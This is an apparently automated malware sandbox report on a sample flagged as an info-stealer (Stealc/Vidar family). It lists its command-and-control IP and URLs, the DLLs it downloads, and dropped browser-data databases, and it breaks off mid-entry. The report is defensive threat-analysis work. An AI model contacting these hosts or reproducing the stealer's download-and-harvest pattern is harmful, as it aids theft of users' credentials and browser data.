https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.46	true	false	unknown
play.google.com	172.217.23.110	true	false	unknown
www.google.com	142.250.185.196	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://www.google.com/async/newtab_promos	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://www.google.com/async/ddljson?async=ntp:2	false	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllault	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_79.3.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1903534664.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_83.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllG	file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	chromecache_79.3.dr	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllf	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BGIJDGCAEBFIIECAKFHI.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpl	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpJDGCAEBFIIECAKFHI	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpf	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php(J	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/kA	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chromecache_83.3.dr, chromecache_79.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllg	file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_83.3.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2075316311.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpA	file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpTK	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BKJDGCGD.0.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpLK	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBGHCBAEGCBFHJEBFI	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpXK&	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpKn	file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll(	file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1903534664.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_83.3.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpion:	file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll7	file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206EGD	file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.mozilla.org	EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BKJDGCGD.0.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_83.3.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	plus.l.google.com	United States	15169	GOOGLEUS	false
172.217.23.110	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546269
Start date and time:	2024-10-31 17:25:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/37@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195, 142.250.186.78, 64.233.166.84, 34.104.35.123, 142.250.184.195, 172.217.18.10, 142.250.186.170, 172.217.23.106, 142.250.181.234, 142.250.184.202, 216.58.206.74, 142.250.184.234, 172.217.16.202, 142.250.186.106, 142.250.185.106, 216.58.212.138, 216.58.212.170, 172.217.18.106, 142.250.186.42, 142.250.186.138, 216.58.206.42, 88.221.110.91, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7432 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:26:30	API Interceptor	30x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	OPEN FOR MORE INFORMATION (1) (1).docx	Get hash	malicious	Unknown	Browse
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
	OPEN FOR MORE INFORMATION (1) (1).docx	Get hash	malicious	Unknown	Browse
	(No subject) - 2024-10-31T090531.704.eml	Get hash	malicious	Unknown	Browse
	Fw Message from Kevin - Update on Coles Supply Chain Modernisation 31-10-24.eml	Get hash	malicious	Unknown	Browse
	https://t.ly/4Nq2x	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse
	https://concursolutions.us.com/a25kQvF4zrkinsa51n0h3rdanW1d07r9s0h3nW1	Get hash	malicious	Unknown	Browse
	SilverSEAL Corporation -RFQ_RFP_FSR Proposal.pdf	Get hash	malicious	Phisher	Browse
	https://my.toruftuiov.com/a43a39c3-796e-468c-aae4-b83c862e0918	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	OPEN FOR MORE INFORMATION (1) (1).docx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	(No subject) - 2024-10-31T090531.704.eml	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://t.ly/4Nq2x	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://concursolutions.us.com/a25kQvF4zrkinsa51n0h3rdanW1d07r9s0h3nW1	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	SilverSEAL Corporation -RFQ_RFP_FSR Proposal.pdf	Get hash	malicious	Phisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://my.toruftuiov.com/a43a39c3-796e-468c-aae4-b83c862e0918	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	QUOTATION#09678.exe	Get hash	malicious	RedLine	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
C:\ProgramData\chrome.dll	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	I43xo3KKfS.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\BGIJDGCAEBFIIECAKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKJDGCGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBKECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDBGHCBAEGCBFHJEBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCBAKJEHDBGHIEBGCGDGHCAKEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBKJDAFHJDGDHJKKEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
